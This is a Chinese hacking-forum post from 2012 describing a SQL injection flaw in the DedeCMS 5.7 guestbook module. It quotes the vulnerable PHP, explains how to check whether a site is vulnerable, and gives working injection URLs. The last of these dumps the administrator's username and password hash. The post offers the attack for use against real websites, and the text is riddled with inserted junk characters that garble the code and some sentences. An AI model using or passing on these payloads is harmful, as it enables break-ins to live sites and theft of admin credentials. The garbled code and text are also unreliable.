中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.78 K+ S- D6 F" M5 W& L
; ~7 A5 r1 p$ U' ?. p
漏洞文件edit.inc.php具体代码:2 |; j% K* l, D; U. d
' M3 q% O% c3 Z8 }& W
< ?php  " N5 L+ W2 p( I3 W9 Q7 l6 o( S
# y& W8 N9 L! k7 }; q( X% b4 |- F
if(!defined('DEDEINC')) exit('Request Error!');  
. }: K$ u( M# K5 d; X/ {- y
6 u* c% z2 H7 L7 d1 w   
) R8 y" y- y7 p) s7 f+ W$ r0 [# N0 _& P
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
5 g; f% N: g# @5 y' O9 w
+ a0 }7 p1 b# g! m2 G: H5 Welse $GUEST_BOOK_POS = "guestbook.php";  
) q9 {8 X% m+ G$ L' r7 Q
# u: G1 ^% U# C% a; i: N7 s   
/ O9 d1 @/ c: {! R# d& \7 `* R' F
, w/ ~) y# N1 z+ }% t' O8 n$id = intval($id);  
' W, I7 w# G  f3 _  H' z: E# p2 z' b
if(empty($job)) $job='view';  
/ r2 [" f1 k$ W# J6 F/ k# I, w+ V" a5 q4 R- Z  d
   $ O- Z7 a. V' a8 s6 |, q
$ s; v! z* U+ `! C) [0 @8 ?
if($job=='del' && $g_isadmin)  
" G" ^; S& m9 W0 m- t5 Z
) h. B( U& D* q; ~{  
$ l! V: n/ j2 G4 Y6 V- {
1 [8 Y$ l" z+ m+ C5 _* Z( ?$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
& u( s* P& Z* z, v/ S9 C. H& d0 b! x, c
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
& T% g6 t7 }" V, Q- x5 Z; {+ a8 f! i, K2 B
exit();    e0 L8 `: y5 e/ I6 S$ a5 v# c
  r; I/ S3 h% J
}  0 o  c+ ?( s! `# I) m" t0 ]8 ~
  s" v$ H. o8 O7 D
else if($job=='check' && $g_isadmin)  ; X4 g: ?& N/ t7 q4 @1 m6 I) K" i* C3 e
; ^- N7 r: |: v' f( [* u" w7 v/ Q7 b
{  
6 d. e  R; ?% ]$ W  M6 o) C
' C' \. k- z3 b  g- \2 }+ o$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  . m* G8 Z. O8 c% Q' ?3 Q5 W' R+ y& K2 ~4 M+ q
/ i. F/ O: Z- N
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  * a' ?8 D! ]$ m( f% }8 s

6 H1 D9 z6 V& Z6 G7 l7 mexit();  
; Q# y! T7 F& W$ e5 F8 @7 }6 G  W7 E: r5 W" Y
}  
) Y+ W0 @0 _$ d8 l6 [3 ~5 i+ w3 ]* ?8 o+ F) P
else if($job=='editok')  ! Y; v/ s- ]$ v9 Z+ y: l, ?

% L0 B1 ~/ y: ]6 b% K{  
' V2 l+ Q3 i0 t! z& W  v: K7 j
+ \' G1 s- `" R3 \( j$remsg = trim($remsg);  : s0 ]) L. N/ d* Y! h1 B- }

, [7 k, e7 b3 M9 L( Y5 F' Jif($remsg!='')  
8 P! e' F9 A' N  G# k* y) R" c& Q# s  v# w
{  / t  R, v+ ~1 D! D
. ^$ N: U3 ~. m9 R1 d- ]: w
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ) ]; ?3 B7 x, Z0 b; `2 U9 q2 b3 L( @
" e' x) S& p* a( V
if($g_isadmin)  ) M" q5 r0 _  U! i3 ?5 l

5 V# I% M' P/ d* y5 v{  
) k( C9 G9 l. V8 @. I+ ^# f  Y) o
/ M0 g$ Q3 ~4 J$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
  Y) k: a( b0 M9 D* `2 s* ?( S* ^" @  P( Q3 n/ h
//$remsg <br /><font color=red>管理员回复:</font> }  6 n( [+ b" Z% H9 x/ a
# E. B5 Z% M2 w! b1 m: y6 ^& m( m8 B9 i
else ) z4 \# X/ R" A  L4 x' L+ ]  L
6 R" r5 x3 ~' e
{  & D$ a! c* f4 G  n
/ A; A! v+ k# T8 u
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  6 R* D. ?! }$ L. B; }; K

+ {" D5 O- H/ m9 Y$ I, k* a& |9 c$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  0 S+ h# i, A' r% K6 I5 l# O
4 N" l2 W7 }6 c- \2 Y! e
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
, v3 a* W- K- D$ x) Y# ?$ z8 o0 x1 K3 q$ ^) M
$msg = $oldmsg.$remsg;  
/ R$ t2 B0 o) t, e9 g8 [* _5 z- ^5 q' R) Q/ K) H
}  1 G. T5 g7 c0 ?4 F  L+ S0 U

: A+ Z/ q4 o( ?}  ; C( y' s# j  q4 i' `) i1 Z+ Y
  e2 T& }* c8 B# [. F* Y  P/ P" P6 M
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  " g, Z2 }" {) T' n8 T$ ?! L
! T' h& ~: R# T$ z' t* f
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ! k% l, X( C. m7 Q
& w/ q' }6 e. A. z! I
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
8 a5 {2 t- v* S* K& [: E
0 N! I, b: t$ O4 Q/ d; O1 A2 Nexit();  
& t6 \# V$ C6 [  y8 C5 c1 a9 y+ p" }6 k9 u, L! `
}  / z+ R8 Q1 f' R2 m; J

6 J4 F3 i: v: ]9 z  c: V& c' h//home:www.errs.cc  
4 g2 b7 [: |- j6 h) \. M- I
& l4 n; C/ g% m! E  ^0 E9 H4 T8 u/ Eif($g_isadmin)  
4 I4 u" H: n6 `* T# O' ]/ ~, r$ R2 a" A( T9 t9 s+ @; b* H
{  # y! J( h, @9 G. U( K
$ h" v$ e7 ~: \& R
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  2 F5 t$ e( Z  ^
# n6 P$ _( y. j7 T' B& c3 `9 R
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  # M0 i: @  h9 {8 n# V

1 R$ z$ ^0 Y" o% ~4 z' `4 V}  * W4 D4 E0 z8 h( |8 `+ |
5 \$ t$ _% }* v1 ^; Y7 p
else
0 X+ O7 K6 y6 |, s) b8 O
  b* [" E; N% Y{  0 F3 ^# _! K9 v3 G# i
. A8 n" W7 \+ u% Y  y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  + I. L9 j% R- N' u' A# N" ~

8 ~1 p4 y" z' H6 K# |. p+ U0 Wrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
& r% I3 e" [$ l* r- a3 R; O% G, E1 E  t+ ]. O
} 漏洞成功需要条件:
$ o$ W! |# E9 I7 \8 |& P; J/ p: _1. php magic_quotes_gpc=off
6 h5 s! q- M3 Y: q/ Q( @$ ]* ]2 b2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 X+ o% _/ r! M! o4 M' t6 r: x" j7 B8 k( L" ^) g
怎么判断是否存在漏洞:* X% [& Q( U7 T) Q4 p
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言," S4 g$ k! p4 U  S5 k
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID% r3 z& F* U: M* u% h' L3 E
访问:0 o  `# e7 }: E1 h, o' c. l
) O" |8 s' a+ ]6 d# R3 M9 f: ]
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, W! p( p: T" e跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
! f! Y" E. n! v0 Z, Q" g9 ]  T* r0 z+ q7 q! q( Q

; z$ A# i. q, Y" Z, N明漏洞无法利用应为他开启了 php magic_quotes_gpc=off! O- N; R! ~: H- i; o
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
  i4 f9 n1 e5 c; u$ ?那么再次访问* P5 w: _8 ^, ?  }  F& |3 s% o- E

/ g9 \, _" @# Pwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
1 x& \" f9 z; q6 I) N6 }8 M/ V8 {5 R% y/ P9 D* b: o0 y9 @
大概利用就是这样,大家有兴趣的多研究下!!0 _8 X  h, \% w/ n

. {9 |7 o& r7 i3 o1 W" D) N3 |最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ B; R: Q" \4 x# D

9 f' P# q, V% [8 X  S: e# }: Gview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2